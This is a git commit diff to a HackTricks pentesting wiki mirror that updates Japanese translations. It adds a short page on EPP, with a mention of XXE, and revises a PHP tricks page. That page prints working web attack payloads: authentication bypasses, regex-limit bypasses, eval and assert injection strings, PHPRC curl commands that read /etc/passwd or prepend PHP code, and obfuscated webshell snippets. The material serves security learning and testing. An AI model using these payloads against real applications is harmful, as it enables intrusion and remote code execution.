mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Translated ['network-services-pentesting/700-pentesting-epp.md', 'networ
This commit is contained in:
parent
78e81553b4
commit
8a129775f4
6 changed files with 440 additions and 362 deletions
|
@ -454,6 +454,7 @@
|
|||
* [554,8554 - Pentesting RTSP](network-services-pentesting/554-8554-pentesting-rtsp.md)
|
||||
* [623/UDP/TCP - IPMI](network-services-pentesting/623-udp-ipmi.md)
|
||||
* [631 - Internet Printing Protocol(IPP)](network-services-pentesting/pentesting-631-internet-printing-protocol-ipp.md)
|
||||
* [700 - Pentesting EPP](network-services-pentesting/700-pentesting-epp.md)
|
||||
* [873 - Pentesting Rsync](network-services-pentesting/873-pentesting-rsync.md)
|
||||
* [1026 - Pentesting Rusersd](network-services-pentesting/1026-pentesting-rusersd.md)
|
||||
* [1080 - Pentesting Socks](network-services-pentesting/1080-pentesting-socks.md)
|
||||
|
|
25
network-services-pentesting/700-pentesting-epp.md
Normal file
25
network-services-pentesting/700-pentesting-epp.md
Normal file
|
@ -0,0 +1,25 @@
|
|||
# 700 - Pentesting EPP
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私たちをフォローする [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
拡張可能なプロビジョニングプロトコル(EPP)は、ドメイン名登録機関と登録者によって**ドメイン名や他のインターネットリソースの管理**に使用されるネットワークプロトコルです。これにより、ドメイン名の登録、更新、転送、削除プロセスを自動化し、ドメイン名システム(DNS)内の異なるエンティティ間で標準化された安全な通信フレームワークが確保されます。 EPPは柔軟で拡張可能に設計されており、インターネットインフラストラクチャのニーズが進化するにつれて新機能やコマンドを追加できます。
|
||||
|
||||
基本的には、**TLD登録機関がTLD内で新しいドメインを登録するためにドメイン登録者に提供するプロトコルの1つ**です。
|
||||
|
||||
### ペンテスト
|
||||
|
||||
[**この非常に興味深い記事**](https://hackcompute.com/hacking-epp-servers/)では、このプロトコルの実装のいくつかがXXE(XML External Entity)に脆弱であることがわかり、このプロトコルがXMLを使用して通信するため、攻撃者が多くの異なるTLDを乗っ取ることが可能になっていたことが示されています。
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>を学ぶ!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする**
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,7 +18,7 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
これはphpMyAdminのクッキーにも有効です。
|
||||
|
||||
クッキー:
|
||||
クッキー:
|
||||
```
|
||||
PHPSESSID
|
||||
phpMyAdmin
|
||||
|
@ -46,7 +46,7 @@ PHP比較テーブル: [https://www.php.net/manual/en/types.comparisons.php](htt
|
|||
- `"0xAAAA" == "43690" -> True` 10進数または16進数形式の数字で構成された文字列は、他の数字/文字列と比較してTrueになる(文字列内の数字は数字として解釈される)
|
||||
- `"0e3264578" == 0 --> True` "0e"で始まり、その後に何かが続く文字列は0と等しい
|
||||
- `"0X3264578" == 0X --> True` "0"で始まり、任意の文字(Xは任意の文字)が続き、その後に何かが続く文字列は0と等しい
|
||||
- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化されたコンテンツと比較される文字列入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**すでにハッシュ化された文字列**はこちらで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"0e12334" == "0" --> True` これは非常に興味深いです。いくつかのケースでは、"0"で始まり、ハッシュ化されたコンテンツと比較される文字列入力を制御できます。したがって、"0e"で始まり、任意の文字がないハッシュを作成する値を提供できれば、比較をバイパスできます。この形式の**既にハッシュ化された文字列**はこちらで見つけることができます: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
||||
- `"X" == 0 --> True` 文字列内の任意の文字は整数0と等しい
|
||||
|
||||
詳細は[https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)を参照してください。
|
||||
|
@ -63,7 +63,7 @@ var_dump(in_array(0, $values, true));
|
|||
```
|
||||
### strcmp()/strcasecmp()
|
||||
|
||||
この関数が**認証チェック**(例:パスワードのチェック)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ、このチェックをバイパスできます:
|
||||
この関数が**認証チェック**(例:パスワードのチェック)に使用されている場合、ユーザーが比較の一方を制御できると、パスワードの値として文字列の代わりに空の配列を送信することができ、このチェックをバイパスできます(`https://example.com/login.php/?username=admin&password[]= `)。
|
||||
```php
|
||||
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
||||
// Real Password
|
||||
|
@ -74,17 +74,17 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
|
|||
|
||||
`strcasecmp()`でも同じエラーが発生します。
|
||||
|
||||
たとえ`===`が使用されていても、比較が**型変換**に**脆弱**になるエラーが発生する可能性があります。たとえば、比較が**データを比較する前に異なるタイプのオブジェクトに変換**している場合:
|
||||
たとえ`===`が使用されていても、比較が**型変換**に**脆弱**になる可能性があります。たとえば、比較が**データを比較する前に異なるタイプのオブジェクトに変換**している場合:
|
||||
```php
|
||||
(int) "1abc" === (int) "1xyz" //This will be true
|
||||
```
|
||||
### preg\_match(/^.\*/)
|
||||
|
||||
**`preg_match()`**はユーザー入力を検証するために使用できます(ブラックリストからの単語/正規表現がユーザー入力に存在するかどうかをチェックし、存在しない場合、コードは実行を続行できます)。
|
||||
**`preg_match()`**は**ユーザー入力を検証**するために使用できます(**ブラックリスト**からの**単語/正規表現**が**ユーザー入力**に**存在するかどうかを確認**し、そうでない場合、コードは実行を続行できます)。
|
||||
|
||||
#### 改行バイパス
|
||||
|
||||
ただし、regexpの開始を区切るとき、`preg_match()`はユーザー入力の最初の行のみをチェックします。その後、何らかの方法で入力を複数行に送信できる場合、このチェックをバイパスできるかもしれません。例:
|
||||
ただし、regexpの開始を区切るとき、`preg_match()`は**ユーザー入力の最初の行のみをチェック**します。その後、何らかの方法で**複数行で入力を送信**できる場合、このチェックをバイパスできるかもしれません。例:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
|
@ -97,7 +97,7 @@ echo preg_match("/^.*1/",$myinput);
|
|||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
このチェックをバイパスするためには、**改行をURLエンコードした値** (`%0A`) を送信するか、**JSONデータ**を送信する場合は、**複数行に分けて**送信します:
|
||||
このチェックをバイパスするためには、**改行をURLエンコードした値**(`%0A`)を送信するか、**JSONデータ**を送信する場合は**複数行に分けて**送信します:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
|
@ -107,8 +107,8 @@ Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ram
|
|||
|
||||
#### **長さエラー回避**
|
||||
|
||||
(このバイパスは、おそらくPHP 5.2.5で試され、PHP 7.3.15では機能しなかったようです)\
|
||||
`preg_match()`に非常に**大きな入力**を送信できる場合、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに入れている場合、次のように送信できます:
|
||||
(このバイパスは、PHP 5.2.5で試されたようで、PHP 7.3.15ではうまく動作しませんでした)\
|
||||
`preg_match()` に有効な非常に**大きな入力**を送信すると、それを**処理できなくなり**、チェックを**バイパス**できます。たとえば、JSONをブラックリストに入れている場合、次のように送信できます:
|
||||
```bash
|
||||
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
||||
```
|
||||
|
@ -116,16 +116,15 @@ payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|||
|
||||
トリック元: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
要約すると、PHPの`preg_*`関数は[PCREライブラリ](http://www.pcre.org/)に基づいて構築されているため、問題が発生します。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタックスペースを使用します。再帰の許可される回数に制限を設定することが可能ですが、PHPではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。
|
||||
要約すると、問題が発生するのは、PHPの`preg_*`関数が[PCREライブラリ](http://www.pcre.org/)に基づいて構築されているためです。PCREでは、特定の正規表現が多くの再帰呼び出しを使用して一致するため、多くのスタックスペースを使用します。再帰の許可される回数に制限を設定することが可能ですが、PHPではこの制限が[デフォルトで 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)に設定されており、スタックに収まりきらないほど多いです。
|
||||
|
||||
この問題について詳しく説明されている[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、投稿内でリンクされています。私たちの課題は明確でした:\
|
||||
**正規表現を100,000回以上再帰させる入力を送信し、SIGSEGVを引き起こし、`preg_match()`関数が`false`を返すようにし、アプリケーションが入力を悪意のあるものと考えさせ、ペイロードの最後に`{system(<verybadcommand>)} `のようなサプライズを投げて、SSTI --> RCE --> フラグを取得する :)**。
|
||||
この問題について詳しく説明されている[このStackoverflowスレッド](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)も、この投稿でリンクされています。私たちのタスクは明確でした:\
|
||||
**正規表現が 100,000 回以上の再帰を行う入力を送信し、SIGSEGV を引き起こし、`preg_match()` 関数が `false` を返すようにし、アプリケーションが私たちの入力を悪意のあるものと考えさせ、ペイロードの最後に `{system(<verybadcommand>)} `のようなサプライズを投げて SSTI --> RCE --> フラグを取得する :)**。
|
||||
|
||||
実際には、正規表現の観点からは、100kの「再帰」を行っているわけではなく、「バックトラッキングステップ」を数えています。[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によると、`pcre.backtrack_limit`変数のデフォルト値は1,000,000(100万)です。\
|
||||
これを達成するには、`'X'*500_001`を使用すると、100万のバックトラッキングステップ(50万の前方と50万の後方)が結果として得られます。
|
||||
実際には、正規表現の観点からは、100,000回の「再帰」を行っているわけではなく、「バックトラッキングステップ」をカウントしています。これは、[PHPのドキュメント](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit)によると、`pcre.backtrack_limit`変数でデフォルトで 1,000,000 (1M) に設定されています。\
|
||||
これを達成するには、`'X'*500_001`を使用すると、100万のバックトラッキングステップ (50万の前方と50万の後方) が結果として得られます。
|
||||
```python
|
||||
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
||||
```
|
||||
|
@ -142,7 +141,7 @@ $obfs += ""; //int 7
|
|||
```
|
||||
## リダイレクト後に実行(EAR)
|
||||
|
||||
PHPが別のページにリダイレクトしているが、**`die`**または**`exit`**関数が**`Location`**ヘッダが設定された後に呼び出されていない場合、PHPは実行を継続し、データを本文に追加します。
|
||||
PHPが別のページにリダイレクトしている場合、ただし、**`Location`ヘッダが設定された後に** **`die`**または**`exit`**関数が呼び出されていない場合、PHPは実行を継続し、データを本文に追加します。
|
||||
```php
|
||||
<?php
|
||||
// In this page the page will be read and the content appended to the body of
|
||||
|
@ -152,12 +151,20 @@ header('Location: /index.php?page=default.html');
|
|||
readfile($page);
|
||||
?>
|
||||
```
|
||||
## パストラバーサルとファイルインクルージョンの悪用
|
||||
|
||||
チェック:
|
||||
|
||||
{% content-ref url="../../../pentesting-web/file-inclusion/" %}
|
||||
[file-inclusion](../../../pentesting-web/file-inclusion/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## もっとトリック
|
||||
|
||||
* **register\_globals**: **PHP < 4.1.1.1** または設定ミスの場合、**register\_globals** が有効になっている可能性があります(またはその挙動が模倣されています)。これは、例えば $\_GET\["param"]="1234" のように、グローバル変数($\_GET など)に値がある場合、**$param** を介してアクセスできることを意味します。そのため、HTTP パラメータを送信することで、コード内で使用されている変数を上書きすることができます。
|
||||
* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、ドメイン内で**異なるパスで異なるクッキーが使用されている**場合、あるパスが他のパスのクッキーにアクセスするように設定できます。\
|
||||
これにより、**両方のパスが同じ名前の変数にアクセスする**場合、**path1の変数の値をpath2に適用**させることができます。そして、path2はpath1の変数を有効として受け入れます(path2に対応する名前のクッキーを与えることで)。
|
||||
* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスをチェックしてください:**/\~\<USERNAME>** 、PHPディレクトリが有効になっているかどうかを確認します。
|
||||
* **register\_globals**: **PHP < 4.1.1.1** または誤って構成されている場合、**register\_globals** が有効になっている可能性があります(またはその動作が模倣されています)。これは、グローバル変数(例:$\_GET など)に値がある場合、$\_GET\["param"]="1234" のように、**$param** を介してアクセスできることを意味します。したがって、HTTP パラメータを送信することで、コード内で使用されている変数を上書きできます。
|
||||
* **同じドメインのPHPSESSIONクッキーは同じ場所に保存される**ため、同じドメイン内で**異なるパスで異なるクッキーが使用されている**場合、そのパスが他のパスのクッキーにアクセスするように設定できます。\
|
||||
この方法で、**両方のパスが同じ名前の変数にアクセスする場合**、**path1の変数の値をpath2に適用**できます。そして、path2はpath1の変数を有効として受け入れます(クッキーにそれに対応する名前を付けることで)。
|
||||
* マシンのユーザーの**ユーザー名**を持っている場合は、アドレスをチェックしてください: **/\~\<USERNAME>** 、PHPディレクトリが有効になっているかどうかを確認します。
|
||||
* [**phpラッパーを使用したLFIおよびRCE**](../../../pentesting-web/file-inclusion/)
|
||||
|
||||
### password\_hash/password\_verify
|
||||
|
@ -173,8 +180,8 @@ True
|
|||
```
|
||||
### HTTPヘッダーのバイパスを利用したPHPエラー
|
||||
|
||||
**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている場合**、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーが応答にヘッダーを追加しようとするとエラーが発生します。\
|
||||
次のシナリオでは、**攻撃者がサーバーに大きなエラーを発生させ**、PHPが**ヘッダー情報を変更しようとしたときにできなかった**ことが画面で確認できます(たとえば、CSPヘッダーがユーザーに送信されなかった):
|
||||
**PHPページがエラーを出力し、ユーザーが提供した入力をエコーしている**場合、ユーザーはPHPサーバーにいくつかの**十分に長いコンテンツ**を出力させることができ、サーバーがレスポンスにヘッダーを追加しようとするとエラーが発生します。\
|
||||
次のシナリオでは、**攻撃者がサーバーに大きなエラーを発生させ**、PHPが**ヘッダー情報を変更しようとしたときにできなかった**ことが画面で確認できます(たとえば、CSPヘッダーがユーザーに送信されませんでした):
|
||||
|
||||
![](<../../../.gitbook/assets/image (465).png>)
|
||||
|
||||
|
@ -191,10 +198,10 @@ True
|
|||
preg_replace(pattern,replace,base)
|
||||
preg_replace("/a/e","phpinfo()","whatever")
|
||||
```
|
||||
コードを実行するには、"replace"引数に少なくとも1つの一致が必要です。\
|
||||
"replace"引数のコードを実行するには、少なくとも1つの一致が必要です。\
|
||||
このpreg\_replaceのオプションは、**PHP 5.5.0以降で非推奨となりました。**
|
||||
|
||||
### **Eval()を介したRCE**
|
||||
### **Eval()を使用したRCE**
|
||||
```
|
||||
'.system('uname -a'); $dummy='
|
||||
'.system('uname -a');#
|
||||
|
@ -205,7 +212,7 @@ preg_replace("/a/e","phpinfo()","whatever")
|
|||
### **Assert()を使用したRCE**
|
||||
|
||||
このphp内の関数は、**文字列で書かれたコードを実行**して**trueまたはfalseを返す**ことができます(これに応じて実行を変更します)。通常、ユーザー変数は文字列の中に挿入されます。例えば:\
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を取得するには、以下を実行できます:
|
||||
`assert("strpos($_GET['page']),'..') === false")` --> この場合、**RCE**を取得するには、次のようにします:
|
||||
```
|
||||
?page=a','NeVeR') === false and system('ls') and strpos('a
|
||||
```
|
||||
|
@ -236,28 +243,28 @@ usort();}phpinfo;#, "cmp");
|
|||
|
||||
* `?order=id;}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ';'`)。おそらく1つ以上の括弧が不足しています。
|
||||
* `?order=id);}//`: **警告**が表示されます。これは正しいようです。
|
||||
* `?order=id));}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ')' i`)。おそらく閉じる括弧が多すぎる可能性があります。
|
||||
* `?order=id));}//`: エラーメッセージが表示されます (`Parse error: syntax error, unexpected ')' i`)。おそらく閉じる括弧が多すぎるでしょう。
|
||||
|
||||
### **.httaccessを介したRCE**
|
||||
### **.httaccessを通じたRCE**
|
||||
|
||||
**.htaccess**を**アップロード**できる場合、**.htaccess**を**設定**して複数のことを行い、コードを実行できます(拡張子が.htaccessのファイルが**実行**されるように設定する)。
|
||||
**.htaccess**を**アップロード**できる場合、**.htaccess**を**設定**して複数のことを行い、コードを実行することができます(拡張子が.htaccessのファイルが**実行**されるように設定する)。
|
||||
|
||||
異なる.htaccessシェルは[こちら](https://github.com/wireghoul/htshells)で見つけることができます。
|
||||
|
||||
### **Env変数を介したRCE**
|
||||
### Env変数を通じたRCE
|
||||
|
||||
PHPで**env変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードすることができる場合、さらなる調査が必要かもしれませんが、これをバイパスできるかもしれません)、この動作を悪用して**RCE**を取得できます。
|
||||
PHPで**環境変数を変更**する脆弱性を見つけた場合(他のファイルをアップロードすることができる脆弱性もあれば、さらなる調査で回避できるかもしれません)、この動作を悪用して**RCE**を取得することができます。
|
||||
|
||||
* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path): この環境変数は、他のバイナリを実行する際に任意のライブラリを読み込むことを可能にします(この場合は機能しないかもしれません)。
|
||||
* **`PHPRC`** : PHPに**構成ファイル**である通常`php.ini`と呼ばれるファイルの場所を指示します。独自の構成ファイルをアップロードできる場合は、`PHPRC`を使用してPHPを指定します。2番目にアップロードしたファイルを実行する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、その後PHPランタイムによって実行**されます。
|
||||
* **`PHPRC`** : PHPに**構成ファイル**である通常`php.ini`と呼ばれるファイルの場所を指示します。独自の構成ファイルをアップロードできる場合は、`PHPRC`を使用してPHPを指定します。2番目にアップロードしたファイルを指定する**`auto_prepend_file`**エントリを追加します。この2番目のファイルには通常の**PHPコードが含まれ、その後PHPランタイムによって実行**されます。
|
||||
1. シェルコードが含まれるPHPファイルをアップロードします
|
||||
2. 2番目のファイルをアップロードし、PHPプリプロセッサにアップロードしたファイルを実行するよう指示する**`auto_prepend_file`**ディレクティブを含めます
|
||||
3. `PHPRC`変数を、2番目のステップでアップロードしたファイルに設定します。
|
||||
2. PHPプリプロセッサに2番目のステップでアップロードしたファイルを実行するよう指示する**`auto_prepend_file`**ディレクティブが含まれる2番目のファイルをアップロードします
|
||||
3. `PHPRC`変数を2番目のステップでアップロードしたファイルに設定します。
|
||||
* このチェーンを実行する方法についての詳細は、[**元のレポート**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)を参照してください。
|
||||
* **PHPRC** - 別のオプション
|
||||
* ファイルをアップロードできない場合、FreeBSDでは「ファイル」`/dev/fd/0`を使用できます。これには、`stdin`に送信されたリクエストの**`stdin`**が含まれています:
|
||||
* ファイルをアップロードできない場合、FreeBSDでは「ファイル」`/dev/fd/0`を使用して、リクエストの`stdin`である**`stdin`**を含むファイルを使用できます:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* または、**`allow_url_include`**を有効にして、**base64 PHPコード**を含むファイルを先頭に追加してRCEを取得します:
|
||||
* または、**`allow_url_include`**を有効にして、**base64 PHPコード**を含むファイルを先頭に追加してRCEを取得できます:
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* この手法は[**このレポート**](https://vulncheck.com/blog/juniper-cve-2023-36845)からです。
|
||||
|
||||
|
@ -269,15 +276,15 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
PHPアプリケーションのデバッグ中にエラー表示を有効にするには、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加し、Apacheを再起動します:`sudo systemctl restart apache2`
|
||||
PHPアプリケーションのデバッグ中は、`/etc/php5/apache2/php.ini`に`display_errors = On`を追加してApacheを再起動することでエラー表示をグローバルに有効にできます:`sudo systemctl restart apache2`
|
||||
|
||||
### PHPコードの脱オブフスケーション
|
||||
### PHPコードの逆難読化
|
||||
|
||||
**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードの脱オブフスケーションを行うことができます。**
|
||||
**web**[ **www.unphp.net**](http://www.unphp.net) **を使用してPHPコードの逆難読化ができます。**
|
||||
|
||||
## PHPラッパー&プロトコル
|
||||
|
||||
PHPラッパーとプロトコルを使用すると、システム内の書き込みおよび読み取り保護を**バイパス**して侵害することができる可能性があります。[**詳細については、このページをご覧ください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
PHPラッパーとプロトコルを使用すると、システム内の書き込みおよび読み取り保護を**バイパス**して侵害することができます。[**詳細については、このページをご覧ください**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
|
||||
## Xdebug未認証RCE
|
||||
|
||||
|
@ -297,23 +304,23 @@ echo "$x ${Da}"; //Da Drums
|
|||
```
|
||||
## 新しい $\_GET\["a"]\($\_GET\["b"]) を悪用した RCE
|
||||
|
||||
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCE を取得できるかもしれません。詳細は以下のページを確認してください:
|
||||
ページ内で**任意のクラスの新しいオブジェクトを作成**できる場合、RCE を取得できるかもしれません。詳細については、以下のページをチェックしてください:
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 文字なしで PHP を実行
|
||||
## 文字を使用せずに PHP を実行する
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
### 八進数を使用
|
||||
### 8進数を使用
|
||||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **XOR**
|
||||
|
||||
XOR(排他的論理和)は、2つのビットが異なる場合に1を返すビット演算です。XORは、データの暗号化や乱数生成など、さまざまな用途で使用されます。
|
||||
XOR演算子は、2つのビットが異なる場合に1を返すビット演算子です。これは、データの暗号化や単純なセキュリティ機能の実装に使用されます。
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
|
@ -336,7 +343,7 @@ Content-Type: application/x-www-form-urlencoded
|
|||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
より詳しい説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を参照してください。
|
||||
より詳細な説明については、[https://ctf-wiki.org/web/php/php/#preg\_match](https://ctf-wiki.org/web/php/php/#preg\_match)を参照してください。
|
||||
|
||||
### XOR シェルコード(eval 内部)
|
||||
```bash
|
||||
|
@ -404,8 +411,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください。**
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,15 +8,15 @@ HackTricks をサポートする他の方法:
|
|||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で **フォロー**してください。
|
||||
* **ハッキングトリックを共有するためにPRを提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに参加してください。
|
||||
